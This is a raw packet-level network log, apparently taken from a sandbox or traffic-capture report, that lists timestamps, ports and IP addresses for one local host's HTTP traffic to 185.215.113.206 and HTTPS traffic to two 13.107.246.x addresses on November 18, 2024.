Nov 18, 2024 00:27:50.773578882 CET	49948	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.773588896 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.773602009 CET	49948	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.773607016 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.774904013 CET	49952	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.774921894 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.782253027 CET	49953	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.782279968 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.782516956 CET	49953	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.783066034 CET	49953	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.783077002 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.784560919 CET	49954	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.784569979 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.784682989 CET	49954	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.787894964 CET	49954	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.787904024 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.838637114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.838649035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.838659048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.838669062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.838685989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.838713884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.838726044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.838747025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.838747025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.838782072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.839273930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.839287043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.839306116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.839323997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.839325905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.839337111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.839348078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.839354992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.839359999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.839371920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.839386940 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.839386940 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.839404106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.840338945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.840348959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.840359926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.840404987 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.840432882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.876379013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.876391888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.876441956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.876454115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.876462936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.876466036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.876581907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.923734903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.923954010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.924103022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.955555916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.955617905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.955630064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.955678940 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.955758095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.955768108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.955790997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.955934048 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.955951929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.955962896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.955972910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.956024885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.956036091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.956182003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.956271887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.956397057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.956490993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.956504107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.956513882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.956532955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.956543922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.956545115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.956556082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.956578016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.956600904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.956995964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.957006931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.957017899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.957047939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.957047939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.993422985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.993459940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.993515015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.993515968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.993549109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.993585110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.993593931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.993593931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.993633986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.045100927 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.045116901 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.072598934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.072611094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.072690010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.072700977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.072818041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.072818995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.072897911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073002100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073014021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073024988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073036909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073076010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.073076010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.073251009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.073483944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073496103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073507071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073517084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073523045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.073529005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073540926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.073544979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.073623896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.074358940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.074368954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.074378967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.074392080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.074404001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.074408054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.074446917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.074446917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.110440016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110472918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110507965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110523939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110538006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110605001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.110785961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110795975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110806942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110817909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.110836029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.110836029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.111332893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.189867020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.189879894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.189892054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.189903021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.189913988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.189928055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.189948082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.190030098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.190042019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.190045118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.190074921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.190149069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.190443039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.190454006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.190466881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.190479040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.190490961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.190490961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.190598965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.191023111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.191034079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.191046953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.191057920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.191070080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.191075087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.191118956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.227451086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.227461100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.227535009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.227539062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.227546930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.227559090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.227596045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.227622986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.227633953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.227646112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.227652073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.227674007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.227725983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.306830883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.306842089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.306852102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.306893110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.306932926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.306945086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.306956053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.306982040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.306982040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.307001114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.307058096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307107925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307120085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307156086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.307204008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.307456970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307467937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307480097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307537079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.307537079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.307693005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307703972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307715893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307727098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307739019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.307760954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.307861090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.308186054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.308242083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.308253050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.308254004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.308295012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.308295012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.323959112 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.323985100 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.324008942 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.324054003 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.324083090 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.324100971 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.324131012 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.344898939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.344960928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.344986916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.344993114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.345007896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.345041037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.345046043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.345081091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.345094919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.345114946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.345149040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.345163107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.345180035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.345182896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.345201015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.345208883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.345237970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.345237970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.345264912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.366244078 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.391335011 CET	49950	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.391356945 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.391860962 CET	49950	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.391876936 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.423778057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.423789978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.423800945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.423908949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.423908949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.423950911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424004078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.424006939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424017906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424036026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.424068928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.424233913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424246073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424257994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424268961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424280882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424319029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.424319029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.424364090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.424753904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424765110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424777031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.424814939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.424814939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.425013065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.425024986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.425036907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.425050020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.425077915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.425115108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.425513983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.425524950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.425570011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.438127995 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.438951969 CET	49951	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.438985109 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.439476013 CET	49951	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.439481020 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.440953016 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.440973997 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.441037893 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.441051006 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.441189051 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.462104082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462131977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462143898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462155104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462167025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462174892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.462178946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462187052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462223053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.462239981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.462405920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462418079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462430000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462441921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.462474108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.462474108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.462600946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.515221119 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.515882969 CET	49952	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.515917063 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.516573906 CET	49952	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.516578913 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.519404888 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.519859076 CET	49954	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.519871950 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.520586014 CET	49954	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.520590067 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.521524906 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.521636963 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.521696091 CET	49950	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.522070885 CET	49950	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.522087097 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.522233963 CET	49950	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.522238970 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.528834105 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.528868914 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.528939962 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.529577971 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.529588938 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.540842056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.540858030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.540869951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.540904045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.540927887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.540955067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.540956974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.541172028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.541215897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541225910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541237116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541249037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541261911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541300058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.541300058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.541593075 CET	80	49889	185.215.113.206	192.168.2.6
